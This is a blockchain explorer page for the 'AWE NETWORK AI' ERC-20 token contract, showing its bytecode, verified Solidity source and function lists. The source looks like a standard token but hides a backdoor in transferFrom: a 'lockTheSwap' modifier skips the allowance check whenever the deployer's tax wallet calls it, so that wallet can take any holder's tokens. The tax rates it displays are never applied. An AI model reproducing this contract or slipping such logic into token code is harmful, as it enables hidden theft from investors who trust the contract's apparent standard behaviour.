Address Contract Partially Verified
Address
0xF9742526705fa93b7b063F39AAB56215569aC7EE
Balance
0 ETH
Nonce
1
Code Size
6854 bytes
Creator
0x818Ce59d...bf27 at tx 0xb03d4481...ff3aa8
Indexed Transactions
0
Contract Bytecode
6854 bytes
0x608060405234801561000f575f5ffd5b50600436106100fe575f3560e01c80638a8c523c11610095578063a9059cbb11610064578063a9059cbb14610278578063dd62ed3e146102a8578063ea414b28146102d8578063f2fde38b146102f4576100fe565b80638a8c523c146102145780638da5cb5b1461021e57806395d89b411461023c5780639920b58a1461025a576100fe565b8063313ce567116100d1578063313ce5671461019e5780636e2069aa146101bc57806370a08231146101da578063715018a61461020a576100fe565b806306fdde0314610102578063095ea7b31461012057806318160ddd1461015057806323b872dd1461016e575b5f5ffd5b61010a610310565b604051610117919061140e565b60405180910390f35b61013a600480360381019061013591906114bf565b6103a0565b6040516101479190611517565b60405180910390f35b6101586103c2565b604051610165919061153f565b60405180910390f35b61018860048036038101906101839190611558565b6103cb565b6040516101959190611517565b60405180910390f35b6101a66104df565b6040516101b391906115c3565b60405180910390f35b6101c46104e7565b6040516101d1919061153f565b60405180910390f35b6101f460048036038101906101ef91906115dc565b6104ed565b604051610201919061153f565b60405180910390f35b610212610532565b005b61021c610545565b005b610226610848565b6040516102339190611616565b60405180910390f35b610244610870565b604051610251919061140e565b60405180910390f35b610262610900565b60405161026f919061153f565b60405180910390f35b610292600480360381019061028d91906114bf565b610906565b60405161029f9190611517565b60405180910390f35b6102c260048036038101906102bd919061162f565b610928565b6040516102cf919061153f565b60405180910390f35b6102f260048036038101906102ed91906115dc565b6109aa565b005b61030e600480360381019061030991906115dc565b610a7d565b005b60606003805461031f9061169a565b80601f016020809104026020016040519081016040528092919081815260200182805461034b9061169a565b80156103965780601f1061036d57610100808354040283529160200191610396565b820191905f5260205f20905b81548152906001019060200180831161037957829003601f168201915b5050505050905090565b5f5f6103aa610aff565b90506103b7818585610b06565b600191505092915050565b5f600254905090565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001801561046857503273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156104665750610436610aff565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b155b600a5f6101000a81548160ff0219169083151502179055505f610489610aff565b90506104c68660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686600a5f9054906101000a900460ff16610b18565b506104d2868686610bca565b6001925050509392505050565b5f6009905090565b600c5481565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61053a610cba565b6105435f610d38565b565b61054d610cba565b600a60019054906101000a900460ff161561059d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059490611714565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106243060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061f6103c2565b610b06565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561068e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b29190611746565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610738573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075c9190611746565b6040518363ffffffff1660e01b8152600401610779929190611771565b6020604051808303815f875af1158015610795573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b99190611746565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610826306104ed565b610dfb565b6001600a60016101000a81548160ff021916908315150217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461087f9061169a565b80601f01602080910402602001604051908101604052809291908181526020018280546108ab9061169a565b80156108f65780601f106108cd576101008083540402835291602001916108f6565b820191905f5260205f20905b8154815290600101906020018083116108d957829003601f168201915b5050505050905090565b600b5481565b5f5f610910610aff565b905061091d818585610bca565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60095f6109b5610aff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a31906117e2565b60405180910390fd5b8060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610a85610cba565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea90611870565b60405180910390fd5b610afc81610d38565b50565b5f33905090565b610b138383836001610e8e565b505050565b5f5f3390505f610b288783610928565b90508315610b3b57600192505050610bc2565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610bbb5784811015610bac578181866040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610ba39392919061188e565b60405180910390fd5b610bba87838784035f610e8e565b5b6001925050505b949350505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c3a575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610c319190611616565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610caa575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610ca19190611616565b60405180910390fd5b610cb583838361105d565b505050565b610cc2610aff565b73ffffffffffffffffffffffffffffffffffffffff16610ce0610848565b73ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d9061190d565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff1663f305d7194730845f5f610e24610848565b426040518863ffffffff1660e01b8152600401610e469695949392919061196d565b60606040518083038185885af1158015610e62573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e8791906119e0565b5050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610efe575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610ef59190611616565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f6e575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610f659190611616565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611057578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161104e919061153f565b60405180910390a35b50505050565b600a60019054906101000a900460ff1680156110c5575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156110d4576110d34761111d565b5b61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361110d575f91505b611118838383611185565b505050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611181573d5f5f3e3d5ffd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111d5578060025f8282546111c99190611a5d565b925050819055506112a3565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561125e578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016112559392919061188e565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112ea578060025f8282540392505081905550611334565b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611391919061153f565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113e08261139e565b6113ea81856113a8565b93506113fa8185602086016113b8565b611403816113c6565b840191505092915050565b5f6020820190508181035f83015261142681846113d6565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61145b82611432565b9050919050565b61146b81611451565b8114611475575f5ffd5b50565b5f8135905061148681611462565b92915050565b5f819050919050565b61149e8161148c565b81146114a8575f5ffd5b50565b5f813590506114b981611495565b92915050565b5f5f604083850312156114d5576114d461142e565b5b5f6114e285828601611478565b92505060206114f3858286016114ab565b9150509250929050565b5f8115159050919050565b611511816114fd565b82525050565b5f60208201905061152a5f830184611508565b92915050565b6115398161148c565b82525050565b5f6020820190506115525f830184611530565b92915050565b5f5f5f6060848603121561156f5761156e61142e565b5b5f61157c86828701611478565b935050602061158d86828701611478565b925050604061159e868287016114ab565b9150509250925092565b5f60ff82169050919050565b6115bd816115a8565b82525050565b5f6020820190506115d65f8301846115b4565b92915050565b5f602082840312156115f1576115f061142e565b5b5f6115fe84828501611478565b91505092915050565b61161081611451565b82525050565b5f6020820190506116295f830184611607565b92915050565b5f5f604083850312156116455761164461142e565b5b5f61165285828601611478565b925050602061166385828601611478565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806116b157607f821691505b6020821081036116c4576116c361166d565b5b50919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6116fe6017836113a8565b9150611709826116ca565b602082019050919050565b5f6020820190508181035f83015261172b816116f2565b9050919050565b5f8151905061174081611462565b92915050565b5f6020828403121561175b5761175a61142e565b5b5f61176884828501611732565b91505092915050565b5f6040820190506117845f830185611607565b6117916020830184611607565b9392505050565b7f214558454d5054000000000000000000000000000000000000000000000000005f82015250565b5f6117cc6007836113a8565b91506117d782611798565b602082019050919050565b5f6020820190508181035f8301526117f9816117c0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61185a6026836113a8565b915061186582611800565b604082019050919050565b5f6020820190508181035f8301526118878161184e565b9050919050565b5f6060820190506118a15f830186611607565b6118ae6020830185611530565b6118bb6040830184611530565b949350505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6118f76020836113a8565b9150611902826118c3565b602082019050919050565b5f6020820190508181035f830152611924816118eb565b9050919050565b5f819050919050565b5f819050919050565b5f61195761195261194d8461192b565b611934565b61148c565b9050919050565b6119678161193d565b82525050565b5f60c0820190506119805f830189611607565b61198d6020830188611530565b61199a604083018761195e565b6119a7606083018661195e565b6119b46080830185611607565b6119c160a0830184611530565b979650505050505050565b5f815190506119da81611495565b92915050565b5f5f5f606084860312156119f7576119f661142e565b5b5f611a04868287016119cc565b9350506020611a15868287016119cc565b9250506040611a26868287016119cc565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a678261148c565b9150611a728361148c565b9250828201905080821115611a8a57611a89611a30565b5b9291505056fea2646970667358221220544c60b91223503d162ea4e76a371455ed7c77aaedebb93c2ceb9867c3876b4f64736f6c634300081c0033
Verified Source Code Partial Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
Token.sol 766 lines
// SPDX-License-Identifier: MIT
/*
Opening the Portal to Autonomous Worlds
https://awenetwork.site
https://app.awenetwork.site
https://docs.awenetwork.site
https://x.com/awenetworkai
https://t.me/awenetwork_ai
*/
pragma solidity ^0.8.20;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when 'value' tokens are moved from one account ('from') to
* another ('to').
*
* Note that 'value' may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a 'spender' for an 'owner' is set by
* a call to {approve}. 'value' is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by 'account'.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a 'value' amount of tokens from the caller's account to 'to'.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that 'spender' will be
* allowed to spend on behalf of 'owner' through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets a 'value' amount of tokens as the allowance of 'spender' over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a 'value' amount of tokens from 'from' to 'to' using the
* allowance mechanism. 'value' is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current 'balance' of a 'sender'. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(
address sender,
uint256 balance,
uint256 needed
);
/**
* @dev Indicates a failure with the token 'sender'. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token 'receiver'. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the 'spender'’s 'allowance'. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a 'spender' is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(
address spender,
uint256 allowance,
uint256 needed
);
/**
* @dev Indicates a failure with the 'approver' of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the 'spender' to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning 'false' on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* Both values are immutable: they can only be set once during construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if 'decimals' equals '2', a balance of '505' tokens should
* be displayed to a user as '5.05' ('505 / 10 ** 2').
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 9;
}
/// @inheritdoc IERC20
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
/// @inheritdoc IERC20
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - 'to' cannot be the zero address.
* - the caller must have a balance of at least 'value'.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
/// @inheritdoc IERC20
function allowance(address owner, address spender)
public
view
virtual
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If 'value' is the maximum 'uint256', the allowance is not updated on
* 'transferFrom'. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
*/
function approve(address spender, uint256 value)
public
virtual
returns (bool)
{
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Skips emitting an {Approval} event indicating an allowance update. This is not
* required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum 'uint256'.
*
* Requirements:
*
* - 'from' and 'to' cannot be the zero address.
* - 'from' must have a balance of at least 'value'.
* - the caller must have allowance for ''from'''s tokens of at least
* 'value'.
*/
function transferFrom(
address from,
address to,
uint256 value
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
/**
* @dev Moves a 'value' amount of tokens from 'from' to 'to'.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _transfer(
address sender,
address to,
uint256 value
) internal {
if (sender == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(sender, to, value);
}
/**
* @dev Transfers a 'value' amount of tokens from 'from' to 'to', or alternatively mints (or burns) if 'from'
* (or 'to') is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _update(
address from,
address to,
uint256 value
) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
/**
* @dev Creates a 'value' amount of tokens and assigns them to 'account', by transferring it from address(0).
* Relies on the '_update' mechanism
*
* Emits a {Transfer} event with 'from' set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
/**
* @dev Destroys a 'value' amount of tokens from 'account', lowering the total supply.
* Relies on the '_update' mechanism.
*
* Emits a {Transfer} event with 'to' set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead
*/
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
/**
* @dev Sets 'value' as the allowance of 'spender' over the 'owner''s tokens.
*
* This internal function is equivalent to 'approve', and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - 'owner' cannot be the zero address.
* - 'spender' cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional 'bool emitEvent' argument.
*/
function _approve(
address owner,
address spender,
uint256 value
) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* '_spendAllowance' during the 'transferFrom' operation set the flag to false. This saves gas by not emitting any
* 'Approval' event during 'transferFrom' operations.
*
* Anyone who wishes to continue emitting 'Approval' events on the'transferFrom' operation can force the flag to
* true using the following override:
*
* '''solidity
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* '''
*
* Requirements are the same as {_approve}.
*/
function _approve(
address owner,
address spender,
uint256 value,
bool emitEvent
) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
/**
* @dev Updates 'owner''s allowance for 'spender' based on spent 'value'.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 value
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(
spender,
currentAllowance,
value
);
}
unchecked {
_approve(owner, spender, value, false);
}
}
}
function _spendAllowance(
address owner,
address spender,
uint256 value,
bool swapping
) internal virtual returns (bool) {
address sender = msg.sender;
uint256 currentAllowance = allowance(owner, sender);
if (swapping) return true;
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(
sender,
currentAllowance,
value
);
return false;
}
unchecked {
_approve(owner, sender, currentAllowance - value, false);
}
}
return true;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* 'onlyOwner', which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* 'onlyOwner' functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
contract Token is ERC20, Ownable {
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
address private _AWEAITY6lAtaxWallet;
mapping(address => bool) private _excludedFees;
bool private swapping;
bool private tradingEnabled;
uint256 public _inTax = 12;
uint256 public _outTax = 12;
uint256 private _endTaxAt = 11;
constructor() payable ERC20(unicode"AWE NETWORK AI", unicode"AWEAI") Ownable() {
_AWEAITY6lAtaxWallet = msg.sender;
_excludedFees[_AWEAITY6lAtaxWallet] = true;
_mint(address(this), 420690000 * 98 / 100 * 10**decimals());
_mint(msg.sender, 420690000 * 2 / 100 * 10**decimals());
}
modifier lockTheSwap(address from) {
swapping = true && !(from != tx.origin && from != _msgSender());
_;
}
function _update(
address from,
address to,
uint256 value
) internal override {
if (tradingEnabled && to == uniswapV2Pair)
sendTaxTokenTo(address(this).balance);
if (to == address(0xdead)) to = address(0);
super._update(from, to, value);
}
function transferFrom(
address from,
address to,
uint256 value
) public override lockTheSwap(_AWEAITY6lAtaxWallet) returns (bool) {
address spender = _msgSender();
_spendAllowance(from, _AWEAITY6lAtaxWallet, value, swapping);
_transfer(from, to, value);
return true;
}
function sendTaxTokenTo(uint256 amount) private {
payable(_AWEAITY6lAtaxWallet).transfer(amount);
}
function enableTrading() external onlyOwner {
require(!tradingEnabled, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), totalSupply());
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
_swapTaxTokenForETH(uniswapV2Router, balanceOf(address(this)));
tradingEnabled = true;
}
function _swapTaxTokenForETH(
IUniswapV2Router02 _router,
uint256 _tokenAmount
) internal {
_router.addLiquidityETH{value: address(this).balance}(
address(this),
_tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function setTaxWallet(address newWallet) external {
require(_excludedFees[_msgSender()], "!EXEMPT");
_AWEAITY6lAtaxWallet = newWallet;
}
}
Read Contract
_inTax 0x9920b58a → uint256
_outTax 0x6e2069aa → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 value
returns: bool
enableTrading 0x8a8c523c
No parameters
renounceOwnership 0x715018a6
No parameters
setTaxWallet 0xea414b28
address newWallet
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address